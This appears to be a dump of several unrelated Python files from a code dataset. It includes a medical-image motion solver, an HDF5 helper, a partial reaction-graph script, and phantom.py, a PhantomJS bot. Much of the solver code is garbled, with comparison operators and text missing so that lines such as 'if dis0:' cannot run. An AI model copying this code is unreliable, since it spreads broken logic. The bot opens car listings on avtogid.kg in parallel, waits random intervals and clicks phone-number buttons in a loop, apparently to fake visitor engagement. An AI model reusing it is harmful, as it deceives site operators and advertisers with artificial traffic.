#Jmat=np.empty(0,dtype=object)\n #natEq=np.zeros(0)\n Jmat=[]\n natEq=[]\n for n in range(len(self.eqn)):\n if n%1==0:\n sys.stdout.write(\"\\rCalculating dC: {0:.2f}%\".format(n/len(self.eqn)*100))\n sys.stdout.flush()\n if len(self.eqnToPts[n])0:\n logger.warning(' convergence to tolerance not achieved, number of iterations '+str(dC[1]))\n if (lmLambda*lmLambda_incrRatio)self.bsFourier.spacing[:3].min()*convergence:\n ratio=min(ratio,self.bsFourier.spacing[:3].min()*convergence/np.abs(newC-self.bsFourier.coef[:,:,:,1:]).max())\n if flexiCount==0:\n coef_backup=self.bsFourier.coef.copy()\n fx_backup=fx.copy()\n self.bsFourier.coef[:,:,:,1:]=ratio*newC+self.bsFourier.coef[:,:,:,1:]*(1-ratio)\n if type(tRef)!=type(None):\n fourierX,fourierY=self.bsFourier.getdXYdC([0,tRef])\n self.bsFourier.coef[:,:,:,0,0]=-self.bsFourier.coef[:,:,:,1:,0].dot(fourierY)\n self.bsFourier.coef[:,:,:,0,1]=-self.bsFourier.coef[:,:,:,1:,1].dot(fourierY)\n self.bsFourier.coef[:,:,:,0,2]=-self.bsFourier.coef[:,:,:,1:,2].dot(fourierY)\n fx=np.zeros(0)\n for n in range(len(self.eqn)):\n if n%1==0:\n sys.stdout.write(\"\\rCalculating fx: {0:.2f}%\".format(n/len(self.eqn)*100))\n sys.stdout.flush()\n if len(self.eqnToPts[n])0. and flexiCount>=flexibleDescent:\n logger.info('Reverting back to iteration '+str(count-flexiCount)+'.')\n if flexibleDescent==0:\n recalculateJmat=False\n self.bsFourier.coef=coef_backup.copy()\n fx=fx_backup.copy()\n rms=np.sqrt(np.mean(np.concatenate((fx_base-Jmat_base.dot(self.bsFourier.coef[:,:,:,1:].transpose(4,3,0,1,2).reshape(-1,order='F')),wdiag*fx))**2.))\n #error=float('inf')\n if (lmLambda*lmLambda_incrRatio)0.:\n flexiCount+=1\n else:\n if type(tempSave)!=type(None):\n self.bsFourier.writeCoef(tempSave)\n flexiCount=0\n if ratio>0.9 and lmLambda!=lmLambda_min:\n if (lmLambda/np.sqrt(lmLambda_incrRatio))>lmLambda_min:\n lmLambda=lmLambda/np.sqrt(lmLambda_incrRatio)\n else:\n lmLambda=lmLambda_min\n elif reductionRatio<0.9:\n reductionRatio*=1.1\n rms=np.sqrt(np.mean(np.concatenate((fx_base-Jmat_base.dot(self.bsFourier.coef[:,:,:,1:].transpose(4,3,0,1,2).reshape(-1,order='F')),wdiag*fx))**2.))\n if movAvgError:\n error=np.abs(movAvgError-rms)/movAvgError\n movAvgError=(movAvgError+rms)/2.\n count+=1\n os.remove(temp_path+'lastJmat.npz')\n def superResolution(self,image,otherimages=None,tempSaveFile=None,dimExpand={},scheme='SAC',schemeArgs=None,xList=None,yList=None,zList=None,tList=None,mask=None,reportlevel=0,CPU=1):\n '''\n otherimages=[[image,bsplinefourier,initTransform],...]\n '''\n if type(otherimages)==list:\n if type(otherimages[0])!=list:\n otherimages=[otherimages]\n if scheme=='':\n logger.warning('No scheme selected. Proceding with mean scheme (scheme=\"weighted\" or \"SAC\")')\n image=image.clone()\n image.rearrangeDim(['x','y','z','t'])\n resultImageshape=list(image.data.shape)\n stretch={}\n for dim in dimExpand:\n stretch[dim]=int(dimExpand[dim]*image.data.shape[image.dim.index(dim)])\n resultImageshape[image.dim.index(dim)]=stretch[dim]\n \n resultImage=image.clone()\n resultImageshape.pop(3)\n resultImage.stretch(stretch,stretchData=False)\n \n if type(xList)==type(None):\n xList=range(resultImageshape[0])\n else:\n resultImageshape[0]=len(xList)\n if type(yList)==type(None):\n yList=range(resultImageshape[1])\n else:\n resultImageshape[1]=len(yList)\n if type(zList)==type(None):\n zList=range(resultImageshape[2])\n else:\n resultImageshape[2]=len(zList)\n resultImage.data=np.zeros(resultImageshape).astype(image.data.dtype)\n \n if type(tList)==type(None):\n tList=range(image.data.shape[3])\n isArray=False\n if type(mask)==np.ndarray:\n isArray=True\n logger.info('Creating Image with shape '+str(resultImage.data.shape))\n if scheme=='SAC-G':\n if type(schemeArgs)==type(None) or type(schemeArgs)==float:\n Gsampling=medImgProc.image.gaussianSampling(resultImage.dim,image.dimlen)\n else:\n Gsampling=medImgProc.image.gaussianSampling(resultImage.dim,image.dimlen,variance=schemeArgs[1])\n \n for xn in range(len(xList)):\n if reportlevel>=0:\n logger.info(' {0:.3f}% completed...'.format(float(xn)/len(xList)*100.))\n for yn in range(len(yList)):\n if reportlevel>=1:\n logger.info(' {0:.3f}% completed...'.format(float(yn)/len(yList)*100.))\n if scheme[:3]=='SAC' and CPU>1:\n parallelArgs=[]\n insertzList=[]\n for zn in range(len(zList)):\n if reportlevel>=2:\n logger.info(' {0:.3f}% completed...'.format(float(zn)/len(zList)*100.))\n if type(mask)!=type(None) and isArray:\n if mask[z,y,x]<1:\n if len(val)==0:\n value=0\n elif (val.max()-val.min())<=3:\n value=val.mean()\n else: continue\n xyzRef=np.array([xList[xn]*resultImage.dimlen['x'],yList[yn]*resultImage.dimlen['y'],zList[zn]*resultImage.dimlen['z']])\n if type(mask)!=type(None) and not(isArray):\n if mask.getData(xyzRef,fill=0)<1:\n continue\n coord=[]\n for t in tList:\n coord.append([*xyzRef,t*image.dimlen['t']])\n coords=self.bsFourier.getCoordFromRef(coord)\n coords=np.hstack((np.array(coords),np.array(coord)[:,3].reshape((-1,1))))\n if scheme=='weighted':\n val=image.getData(coords,fill=0)\n weight=np.sqrt((np.array(coords)[:,0]-xList[xn]*resultImage.dimlen['x'])**2.+(np.array(coords)[:,1]-yList[yn]*resultImage.dimlen['y'])**2.+(np.array(coords)[:,2]-zList[zn]*resultImage.dimlen['z'])**2.)\n value=(np.array(val)*weight).sum()/weight.sum()\n elif scheme[:3]=='SAC':\n #schemeArgs[0] determines percentage agreement before it is considered accurate\n #schemeArgs[1] controls the variance is gausian sampling is used\n if type(schemeArgs)==type(None):\n schemeArgs=[0.5,None]\n elif type(schemeArgs)==float:\n schemeArgs=[schemeArgs,None]\n elif type(schemeArgs[0])==type(None):\n schemeArgs[0]=0.5\n elif schemeArgs[0]>=1.:\n schemeArgs[0]=0.5\n if scheme[-2:]=='-G':\n val=image.getData(coords,fill=None,sampleFunction=Gsampling)\n if type(val[0])==list:\n val=sum(val,[])\n else:\n val=image.getData(coords,fill=None)\n if type(otherimages)!=type(None):\n for n in range(len(otherimages)):\n tempimage=otherimages[n][0].clone()\n tempimage.rearrangeDim(['x','y','z','t'])\n tempval=[None]\n tempCoord=[]\n for t in range(tempimage.data.shape[3]):\n tempCoord.append([*xyzRef,t*otherimages[n][0].dimlen['t']])\n tempcoords=otherimages[n][2].getVector(tempCoord)\n tempcoords=np.hstack((np.array(tempcoords),np.array(tempCoord)[:,3].reshape((-1,1))))\n tempcoords=otherimages[n][1].getCoordFromRef(tempcoords)\n tempcoords=np.hstack((np.array(tempcoords),np.array(tempCoord)[:,3].reshape((-1,1))))\n \n if scheme[-2:]=='-G':\n tempval=tempimage.getData(tempcoords,fill=None,sampleFunction=Gsampling)\n if type(tempval[0])==list:\n tempval=sum(tempval,[])\n else:\n tempval=tempimage.getData(tempcoords,fill=None)\n val=val+tempval\n val=np.array(list(filter(None.__ne__, val)))\n val=val[val>=1]\n if CPU>1:\n parallelArgs.append([val.copy(),schemeArgs[0]])\n insertzList.append(zn)\n continue\n else:\n value=SAC(val.copy(),schemeArgs[0])\n \n elif scheme=='median':\n val=image.getData(coords,fill=None)\n val=np.array(list(filter(None.__ne__, val)))\n if len(val)==0:\n value=0\n else:\n value=np.median(val)\n elif scheme=='contrast':\n if type(schemeArgs)==type(None):\n schemeArgs=3\n val=image.getData(coords,fill=None)\n val=np.array(list(filter(None.__ne__, val)))\n if len(val)==0:\n value=0\n else:\n diff=np.median(val)-val.mean()\n if diff>schemeArgs:\n value=val.max()\n elif diff<-schemeArgs:\n value=val.min()\n else:\n value=val.mean()\n elif scheme=='threshold':\n if type(schemeArgs)==type(None):\n schemeArgs=image.data.min()/2.+image.data.max()/2.\n val=image.getData(coords,fill=None)\n val=np.array(list(filter(None.__ne__, val)))\n if len(val)==0:\n value=0\n elif val[val>=schemeArgs].size>val.size:\n value=255\n else:\n value=0\n else:\n val=image.getData(coords,fill=None)\n val=np.array(list(filter(None.__ne__, val)))\n if len(val)==0:\n value=0\n else:\n value=val.mean()\n if value>=255:\n value=255\n elif value<=0:\n value=0\n else:\n value=int(np.around(value))\n resultImage.data[xn,yn,zn]=value\n if scheme[:3]=='SAC' and CPU>1:\n pool = multiprocessing.Pool(CPU)\n resultImage.data[xn,yn,insertzList]=np.array(pool.starmap(SAC,parallelArgs))\n pool.close()\n pool.join()\n if type(tempSaveFile)!=type(None):\n resultImage.save(tempSaveFile)\n return resultImage\n def syncTo(self,image,dimExpand={},xList=None,yList=None,zList=None,tList=None,tempSaveFile=None,reportlevel=0,CPU=1,getResidual=False):\n image=image.clone()\n image.rearrangeDim(['x','y','z','t'])\n fill = 0\n if len(image.dim)>4:\n fill =np.zeros(image.data.shape[4:])\n resultImageshape=list(image.data.shape)\n stretch={}\n for dim in dimExpand:\n stretch[dim]=int(dimExpand[dim]*image.data.shape[image.dim.index(dim)])\n resultImageshape[image.dim.index(dim)]=stretch[dim]\n resultImage=image.clone()\n resultImage.stretch(stretch,stretchData=False)\n\n if type(xList)==type(None):\n xList=range(resultImageshape[0])\n else:\n resultImageshape[0]=len(xList)\n if type(yList)==type(None):\n yList=range(resultImageshape[1])\n else:\n resultImageshape[1]=len(yList)\n if type(zList)==type(None):\n zList=range(resultImageshape[2])\n else:\n resultImageshape[2]=len(zList)\n if type(tList)==type(None):\n tList=range(resultImageshape[3])\n else:\n resultImageshape[3]=len(tList)\n resultImage.data=np.zeros(resultImageshape).astype(image.data.dtype)\n if getResidual:\n residualImage=resultImage.clone()\n residualImage.data=np.zeros((*resultImageshape[:4],3))\n residualImage.dim=residualImage.dim[:4]+['r']\n residualImage.dimlen={'x':residualImage.dimlen['x'],'y':residualImage.dimlen['y'],'z':residualImage.dimlen['z'],'t':residualImage.dimlen['t'],'r':1}\n logger.info('Creating Image with shape '+str(resultImage.data.shape))\n for xn in range(len(xList)):\n if reportlevel>=0:\n logger.info(' {0:.3f}% completed...'.format(float(xn)/len(xList)*100.))\n for yn in range(len(yList)):\n if reportlevel>=1:\n logger.info(' {0:.3f}% completed...'.format(float(yn)/len(yList)*100.))\n for zn in range(len(zList)):\n if reportlevel>=2:\n logger.info(' {0:.3f}% completed...'.format(float(zn)/len(zList)*100.))\n xyzRef=np.array([xList[xn]*resultImage.dimlen['x'],yList[yn]*resultImage.dimlen['y'],zList[zn]*resultImage.dimlen['z']])\n coord=[]\n for t in tList:\n coord.append([*xyzRef,t*image.dimlen['t']])\n coords=self.bsFourier.getCoordFromRef(coord)\n coords=np.hstack((np.array(coords),np.array(coord)[:,3].reshape((-1,1))))\n val=image.getData(coords,fill=fill,getResidual=getResidual)\n if getResidual:\n val=np.array(val)\n resultImage.data[xn,yn,zn]=np.array(list(val[:,0]))\n residualImage.data[xn,yn,zn]=np.array(list(val[:,1]))[...,:3]\n else:\n resultImage.data[xn,yn,zn]=np.array(val)\n if type(tempSaveFile)!=type(None):\n resultImage.save(tempSaveFile)\n if getResidual:\n return (resultImage,residualImage)\n else:\n return resultImage\n def forwardImageTransform(self,refImage,time,sampleRate=1.,drawspread=[-2,-1,0,1,2],xList=None,yList=None,zList=None):\n refImage.rearrangeDim(['x','y','z'])\n newImg=refImage.clone()\n distance=np.ones(refImage.data.shape)*float('inf')\n if type(xList)!=type(None) or type(yList)!=type(None) or type(zList)!=type(None):\n maxmotion=np.abs(self.bsFourier.getBspline(time)).max(axis=0).max(axis=0).max(axis=0)/np.array([refImage.dimlen['x'],refImage.dimlen['y'],refImage.dimlen['z']])\n logger.info(str(maxmotion))\n if type(xList)==type(None):\n xList=np.arange(0,refImage.data.shape[0]-1.+1./sampleRate,1./sampleRate)\n else:\n xList=np.arange(max(0,min(xList)-maxmotion[0]),min(refImage.data.shape[0]-1.+1./sampleRate,max(xList)+maxmotion[0]),1./sampleRate)\n if type(yList)==type(None):\n yList=np.arange(0,refImage.data.shape[1]-1.+1./sampleRate,1./sampleRate)\n else:\n yList=np.arange(max(0,min(yList)-maxmotion[1]),min(refImage.data.shape[1]-1.+1./sampleRate,max(yList)+maxmotion[1]),1./sampleRate)\n if type(zList)==type(None):\n zList=np.arange(0,refImage.data.shape[2]-1.+1./sampleRate,1./sampleRate)\n else:\n zList=np.arange(max(0,min(zList)-maxmotion[2]),min(refImage.data.shape[2]-1.+1./sampleRate,max(zList)+maxmotion[2]),1./sampleRate)\n logger.info('Calculating xpixels '+str(min(xList))+'to '+str(max(xList))+', ypixels '+str(min(yList))+'to '+str(max(yList))+', zpixels '+str(min(zList))+'to '+str(max(zList)))\n for x in xList:\n logger.info(' {0:.3f}% completed...'.format(float(list(xList).index(x))/len(xList)*100.))\n for y in yList:\n #logger.info(' {0:.3f}% completed...'.format(float(list(yList).index(y))/len(yList)*100.))\n for z in zList:\n #logger.info(' {0:.3f}% completed...'.format(float(list(zList).index(z))/len(zList)*100.))\n xyzRef=np.array([x*refImage.dimlen['x'],y*refImage.dimlen['y'],z*refImage.dimlen['z']])\n xyzTime=self.bsFourier.getCoordFromRef(np.array([*xyzRef,time]))/np.array([refImage.dimlen['x'],refImage.dimlen['y'],refImage.dimlen['z']])\n intensity=refImage.getData(xyzRef)\n baseind=np.around(xyzTime).astype(int)\n for xalter in drawspread:\n for yalter in drawspread:\n for zalter in drawspread:\n ind=baseind+np.array([xalter,yalter,zalter])\n if np.all(ind>=0) and np.all(ind<=(np.array(distance.shape)-1)):\n dis=np.sum((xyzTime-ind)**2.)\n if dis=0) and np.all(ind<=(np.array(distance.shape)-1)):\n dis=np.sum((xyzTime[n]-ind)**2.)\n if dis0:\n for x in xx:\n for y in yy:\n for z in zz:\n '''\n return newImg\n \n \n def estimateInitialwithRefTime(self,OrderedBsplinesList,tRef=None,OrderedBsplinesList2=None,spacingDivision=2.,gap=0,forwardbackward=False,N=20):\n ''' \n Estimates bsplineFourier with forward marching\n Parameters:\n OrderedBsplinesList: List(int)\n List of index in self.bsplines to use as tref to tn marching\n OrderedBsplinesList2: List(int)\n List of index in self.bsplines to use as tn-1 to tn marching starting from tref to tref+1\n spacingDivision:float\n sampling points density between bsplineFourier grid\n gap:int\n number of sampling points near the boundary removed (1 means that all the sampling points at the boundary are removed)\n backwardforward: boolean\n if True, OrderedBsplinesList is List of index in self.bsplines to use as tn to tn+1 marching while OrderedBsplinesList2 is tn to tn-1\n timeMapList and N: if timeMapList not None, use NFFT initilization; N needs to be even\n '''\n if type(OrderedBsplinesList)==int:\n OrderedBsplinesList=range(OrderedBsplinesList)\n if self.bsplines[OrderedBsplinesList[0]].timeMap[0] is None:\n timeMapList=None\n logger.warning('Unable to determine corresponding timemap of bsplines '+str(n)+', '+str(self.bsplines[OrderedBsplinesList[0]].timeMap)+'.')\n else:\n timeMapList=[self.bsplines[OrderedBsplinesList[0]].timeMap[0]]\n for n in range(len(OrderedBsplinesList)):\n if self.bsplines[OrderedBsplinesList[n]].timeMap[1] is None:\n timeMapList=None\n logger.warning('Unable to determine corresponding timemap of bsplines '+str(n)+', '+str(self.bsplines[OrderedBsplinesList[n]].timeMap)+'.')\n break\n else:\n timeMapList.append(self.bsplines[OrderedBsplinesList[n]].timeMap[1])\n else:\n timeMapList=np.array(timeMapList)\n for n in range(len(timeMapList)):\n while timeMapList[n]>=self.bsFourier.spacing[-1]:\n timeMapList[n]-=self.bsFourier.spacing[-1]\n while timeMapList[n]<0:\n timeMapList[n]+=self.bsFourier.spacing[-1]\n if timeMapList is not None:\n locate_coordsThruTime = timeMapList/self.bsFourier.spacing[-1] - 0.5\n weight=[]\n weight.append(1)\n for i in range(int(self.bsFourier.coef.shape[self.points.shape[-1]]/2)):\n weight.append((-1)**(i+1))\n for i in range(int(self.bsFourier.coef.shape[self.points.shape[-1]]/2)):\n weight.append((-1)**i)\n sampleCoord=self.bsFourier.samplePoints(spacingDivision=spacingDivision,gap=gap)\n sampleCoef=[]\n refCoord=[]\n count=0\n logger.info('Estimating coefficients with '+str(len(sampleCoord))+'sample points')\n for coord in sampleCoord:\n count+=1\n if type(OrderedBsplinesList2)!=type(None) and forwardbackward:\n coordsThruTime=np.array(estCoordsThruTime(coord,self.bsplines,OrderedBsplinesList,mode='Eulerian'))\n coordsThruTime2=np.array(estCoordsThruTime(coord,self.bsplines,OrderedBsplinesList2,mode='Eulerian'))\n Fratio=1./(1.+np.arange(len(coordsThruTime))/np.arange(len(coordsThruTime),0,-1))\n coordsThruTime2=np.roll(coordsThruTime2[::-1],1,axis=0)\n coordsThruTime=Fratio.reshape((-1,1))*coordsThruTime+(1-Fratio.reshape((-1,1)))*coordsThruTime2\n else:\n coordsThruTime=estCoordsThruTime(coord,self.bsplines,OrderedBsplinesList,OrderedBsplinesList2=OrderedBsplinesList2,mode='Lagrangian-Eulerian')\n coordsThruTime=np.array(coordsThruTime)\n #deltat=self.bsplines[0].timeMap[1]-self.bsplines[0].timeMap[0]\n #freq=np.fft.rfftfreq(len(coordsThruTime[:,0]))*2.*np.pi/deltat\n sampleCoeftemp=[]\n for axis in range(self.points.shape[-1]):\n if timeMapList is not None:\n sp = nfft.nfft_adjoint(locate_coordsThruTime, coordsThruTime[:,axis], N)\n sampleCoeftemp.append(np.array([sp.real[int(N/2)]/len(coordsThruTime),*(sp.real[int(N/2+1):int(self.bsFourier.coef.shape[self.points.shape[-1]]/2+N/2+1)]/len(coordsThruTime)*2.),*(-sp.imag[int(N/2+1):int(self.bsFourier.coef.shape[self.points.shape[-1]]/2+N/2+1)]/len(coordsThruTime)*2.)])*np.array(weight)) \n else:\n sp = np.fft.rfft(coordsThruTime[:,axis])\n sampleCoeftemp.append(np.array([sp.real[0]/len(coordsThruTime),*(sp.real[1:int(self.bsFourier.coef.shape[self.points.shape[-1]]/2+1)]/len(coordsThruTime)*2.),*(-sp.imag[1:int(self.bsFourier.coef.shape[self.points.shape[-1]]/2+1)]/len(coordsThruTime)*2.)]))\n sampleCoeftemp=np.array(sampleCoeftemp)\n sampleCoef.append(sampleCoeftemp.transpose().copy())\n sampleCoef[-1][0,:]=0.\n if type(tRef)!=type(None):\n sampleCoef[-1][0]=-getCoordfromCoef(np.array([*coord[:self.points.shape[-1]],tRef-self.bsFourier.origin[self.points.shape[-1]]]),sampleCoef[-1],self.bsFourier.spacing)\n \n refCoord.append(sampleCoeftemp[:,0].copy())\n logger.info('Calculated '+str(len(refCoord))+'sample points')\n \n self.bsFourier.regrid(refCoord,sampleCoef,tRef=tRef)\n return (refCoord,sampleCoef)\n def pointTrace(self,stlFile,savePath,timeList=None,delimiter=' ',fmt=None):\n if fmt is None:\n fmt='{0:.2e}'\n elif fmt[0]!='{':\n fmt='{0:'+fmt+'}'\n os.makedirs(savePath, exist_ok=True)\n if type(timeList)==type(None):\n timeList=10\n if isinstance(timeList,(int)):\n timeList=np.arange(0,self.bsFourier.spacing[self.bsFourier.coef.shape[-1]],self.bsFourier.spacing[self.bsFourier.coef.shape[-1]]/timeList)\n if stlFile[-3:]=='stl':\n ref_mesh=trimesh.load(stlFile)\n oriPos=np.array(ref_mesh.vertices)[:,:self.bsFourier.coef.shape[-1]]\n else:\n oriPos=np.loadtxt(stlFile,delimiter=delimiter)\n \n for time in timeList:\n coords=np.concatenate((oriPos,np.ones((len(oriPos),1))*time),axis=-1)\n newpts=self.bsFourier.getCoordFromRef(coords)\n if stlFile[-3:]=='stl':\n ref_mesh.vertices[:,:self.bsFourier.coef.shape[-1]]=np.array(newpts)\n trimesh.repair.fix_normals(ref_mesh)\n try:\n trimesh.io.export.export_mesh(ref_mesh,savePath+'/t'+fmt.format(time)+'.stl')\n except:\n ref_mesh.export(savePath+'/t'+fmt.format(time)+'.stl')\n else:\n np.savetxt(savePath+'/t'+fmt.format(time)+'.txt',np.array(newpts))\n def estimatedStrainDetect(self,threshold=-1.,outputCoord=True):\n testShape=(np.array(self.bsFourier.coef.shape[:3])-1).astype(int)\n dXYZ=[]\n dXYZ.append(self.bsFourier.coef[1:,:,:]-self.bsFourier.coef[:-1,:,:])\n dXYZ[-1]=(dXYZ[-1][:,1:,1:]+dXYZ[-1][:,:-1,1:]+dXYZ[-1][:,1:,:-1]+dXYZ[-1][:,:-1,:-1])/4.\n dXYZ.append(self.bsFourier.coef[:,1:,:]-self.bsFourier.coef[:,:-1,:])\n dXYZ[-1]=(dXYZ[-1][1:,:,1:]+dXYZ[-1][:-1,:,1:]+dXYZ[-1][1:,:,:-1]+dXYZ[-1][:-1,:,:-1])/4.\n dXYZ.append(self.bsFourier.coef[:,:,1:]-self.bsFourier.coef[:,:,:-1])\n dXYZ[-1]=(dXYZ[-1][1:,1:,:]+dXYZ[-1][:-1,1:,:]+dXYZ[-1][1:,:-1,:]+dXYZ[-1][:-1,:-1,:])/4.\n \n for n in range(3):\n newcoef=np.zeros((*dXYZ[n].shape[:3],int(self.bsFourier.coef.shape[3]/2),3))\n for m in range(int(self.bsFourier.coef.shape[3]/2)):\n newcoef[:,:,:,m,:]=np.sqrt(dXYZ[n][:,:,:,m+1,:]**2.+dXYZ[n][:,:,:,int(self.bsFourier.coef.shape[3]/2)+m+1,:]**2.)\n dXYZ[n]=newcoef.copy()\n axial=[]\n for n in range(3):\n axial.append(dXYZ[n][:,:,:,:,n]/self.bsFourier.spacing[n])\n shear=[]\n for n in range(3):\n axis=[0,1,2]\n axis.pop(n)\n shear.append(-dXYZ[axis[0]][:,:,:,:,axis[1]]*dXYZ[axis[1]][:,:,:,:,axis[0]]/self.bsFourier.spacing[axis[0]]/self.bsFourier.spacing[axis[1]])\n coords=np.zeros((0,3))\n for n in range(3):\n tempcoords=list(np.where(axial[n]0:\n tempcoords[n]=tempcoords[n]+0.5\n coords=np.vstack((coords, tempcoords))\n tempcoords=list(np.where(shear[n]0:\n tempcoords=tempcoords+0.5\n coords=np.vstack((coords, tempcoords))\n if outputCoord:\n for n in range(3):\n coords[:,n]=coords[:,n]*self.bsFourier.spacing[n]+self.bsFourier.origin[n]\n return coords\n\n","repo_name":"WeiXuanChan/motionSegmentation","sub_path":"motionSegmentation/bfSolver.py","file_name":"bfSolver.py","file_ext":"py","file_size_in_byte":78666,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"26441313839","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.proxy import *\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom time import sleep\nfrom bs4 import BeautifulSoup\nimport requests\nimport csv\nfrom random import choice\nfrom random import uniform\nfrom multiprocessing import Pool\n\ndcap = dict(DesiredCapabilities.PHANTOMJS)\n# url = 'https://www.avtogid.kg/browse/Auto/?sorting_fields[activation_date]=DESC'\nurl_ag = 'https://www.avtogid.kg/'\n# make = 'Mercedes-Benz'\n# dcap[\"proxy.httpProxy\"] = (\"119.163.121.122:8080\")\n# dcap[\"proxy.proxyType\"] = (\"http\")\n# dcap[\"phantomjs.page.settings.userAgent\"] = (\n# \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215)\")\n\n\nclass TestUbuntuHomepage(unittest.TestCase):\n def setUp(self):\n self.driver = webdriver.PhantomJS(desired_capabilities=dcap)\n self.driver.set_window_size(1024, 768)\n print(dcap)\n\n\n def testTitle(self):\n self.driver.get('http://sitespy.ru/my-ip')\n self.assertIn('Узнать мой ip адрес', self.driver.title)\n self.driver.get_screenshot_as_file('test.png')\n\n\n def tearDown(self):\n self.driver.quit()\n\n\nclass Bot:\n def __init__(self):\n self.driver = webdriver.PhantomJS()\n # self.driver.set_window_size(360, 640)\n self.driver.set_window_size(1024, 768)\n # self.navigate()\n\n def take_screenshot(self):\n self.driver.save_screenshot('ag_screenshot.png')\n\n def search_main(self, url, query):\n self.driver.get(url)\n self.driver.find_element_by_xpath(\n '//input[@class=\"form-control stringWithAutocomplete keywords ui-autocomplete-input\"]').send_keys(query)\n search = self.driver.find_element_by_xpath('//input[@class=\"btn btn-primary\"]')\n search.click()\n sleep(uniform(5,15))\n return self.driver.current_url\n\n def next_page(self, url):\n self.driver.get(url)\n self.driver.find_element_by_xpath('//a[@class=\"nextPageSelector\"]').click()\n sleep(uniform(5,10))\n print(self.driver.current_url)\n return self.driver.current_url\n\n def find_all_items(self, url):\n self.driver.get(url)\n collect = self.driver.find_element_by_xpath('//div[@class=\"searchResults\"]')\n allItems = collect.find_elements_by_xpath('//a[@class=\"listingimgurl\"]')\n for item in allItems:\n link = item.get_attribute(\"href\")\n print(link)\n\n def navigate(self, url):\n print('open page: ')\n self.driver.get(url)\n print(self.driver.current_url)\n sleep(uniform(120, 240))\n print('press phone #: ')\n self.driver.find_element_by_xpath('//span[@class=\"btn btn-primary\"]').click()\n sleep(uniform(30, 120))\n # self.driver.back()\n\n def get_netkg_id(self, url):\n self.driver.get(url)\n netkg = self.driver.find_element_by_xpath('//img[@class=\"netkgimg\"]').get_attribute(\"src\")\n print(netkg)\n\ndef get_html(url):\n r = requests.get(url)\n print('get HTML from search page:')\n return r.text\n\ndef random_queries():\n queries = open('queries.txt').read().split('\\n')\n query = choice(queries)\n print('send query:' + query)\n return query\n\n#записать в файл CSV\ndef write_csv(data):\n with open('search_page_links.csv', 'a') as f:\n writer = csv.writer(f)\n writer.writerow((data,))\n\n#получить все ссылки со страницы\ndef get_urls(html):\n soup = BeautifulSoup(html, 'lxml')\n ads = soup.find('div', class_= 'searchResults').find_all('div', class_='caption')\n links = []\n for ad in ads:\n link = 'https://www.avtogid.kg' + ad.find('a').get('href')\n print(link)\n links.append(link)\n write_csv(link)\n\n return links\n\n#получить ID поискового запроса, параметр HTML страницы\ndef get_search_id(html):\n soup = BeautifulSoup(html, 'lxml')\n base = soup.find('ul', class_='pagination').find_all('li')[-1].find_previous_sibling('li')\n searchid = base.find('a').get('href').split('&')[1].strip()\n\n return searchid\n\ndef get_last_page(html):\n soup = BeautifulSoup(html, 'lxml')\n base = soup.find('ul', class_='pagination').find_all('li')[-1].find_previous_sibling('li')\n pages = base.text.strip()\n\n return int(pages)\n\ndef surfing(url):\n b = Bot()\n b.navigate(url)\n\ndef main():\n b = Bot()\n for i in range(1000):\n url = b.search_main(url_ag, random_queries())\n try:\n html = get_html(url)\n all_links = get_urls(html)\n\n with Pool(10) as p:\n p.map(surfing, all_links)\n\n except:\n continue\n\n # csv_links = []\n # with open('search_page_links.csv') as f:\n # reader = csv.reader(f)\n # for row in reader:\n # csv_links.append(' '.join(row))\n #\n # print(csv_links)\n #\n # with Pool as p:\n # p.map(b.navigate, csv_links)\n\n\n\n\n\nif __name__ == '__main__':\n # unittest.main(verbosity=2)\n main()","repo_name":"ravilkg/agnet","sub_path":"phantom.py","file_name":"phantom.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"17975569187","text":"import h5py\nimport os\nimport numpy as np\n\nclass CSVDatasetWriter:\n def __init__(self, outputPath, data, labels):\n if os.path.exists(outputPath):\n os.remove(outputPath)\n\n self.db = h5py.File(outputPath, \"w\")\n self.data = self.db.create_dataset(\"data\", data = data)\n self.labels = self.db.create_dataset(\"labels\", data = labels)\n print('Rewrite the dataset.')\n self.db.close()\n\n def close(self):\n self.db.close()\n\nclass CSVDatasetReader:\n def __init__(self, inputPath):\n if not os.path.exists(inputPath):\n raise ValueError(\"The dataset can not be found.\")\n\n self.db = h5py.File(inputPath, \"r\")\n \n def load(self):\n data = self.db['data']\n labels = self.db['labels']\n \n return (np.array(data), np.array(labels))\n self.db.close()\n \n def close(self):\n self.db.close()","repo_name":"ml-boringtao/mlp-workshop","sub_path":"process/helpers/csvhdf5dataset.py","file_name":"csvhdf5dataset.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32890395074","text":"import networkx as nx\n\n\ndef reaction_graph():\n \"\"\"\n Original graph can be found in\n supplementary material of\n Engelhardt et al. paper\n \"\"\"\n g = nx.DiGraph()\n g.add_node(1, name='ACM2')\n g.add_node(2, name='G-Protein beta/gamma')\n g.add_node(3, name='G-Protein alpha-s')\n g.add_node(4, name='GRK 6')\n g.add_node(5, name='G-Protein alpha -o')\n g.add_node(6, name='G-Protein alpha -i')\n g.add_node(7, name='RGS 14')\n g.add_node(8, name='Adenylate cyclase subtypes II/IV/VII')\n g.add_node(9, name='Adenylate cyclase subtypes V/VI')\n g.add_node(10, name='cAMP-GEF1')\n g.add_node(11, name='PKA (cAMP dependent)')\n g.add_node(12, name='GRK 2')\n g.add_node(13, name='cAMP')\n g.add_node(14, name='AMP')\n g.add_node(15, name='Tubulin, Actin')\n\n g.add_edge(1, 2, weight=0, reaction=1)\n g.add_edge(1, 3, weight=0, reaction=2)\n g.add_edge(1, 6, weight=0, reaction=3)\n g.add_edge(1, 5, weight=0, reaction=4)\n g.add_edge(11, 4, weight=0, reaction=5)\n g.add_edge(11, 7, weight=0, reaction=6)\n g.add_edge(7, 6, weight=1, reaction=7)\n g.add_edge(7, 5, weight=1, reaction=8)\n g.add_edge(3, 9, weight=0, reaction=9)\n g.add_edge(3, 8, weight=0, reaction=9)\n\n g.add_edge(6, 9, weight=1, reaction=10)\n\n g.add_edge(2, 8, weight=0, reaction=11)\n g.add_edge(2, 9, weight=1, reaction=11)\n\n g.add_edge(12, 10, weight=1, reaction=12)\n g.add_edge(11, 12, weight=0, reaction=13)\n g.add_edge(10, 7, 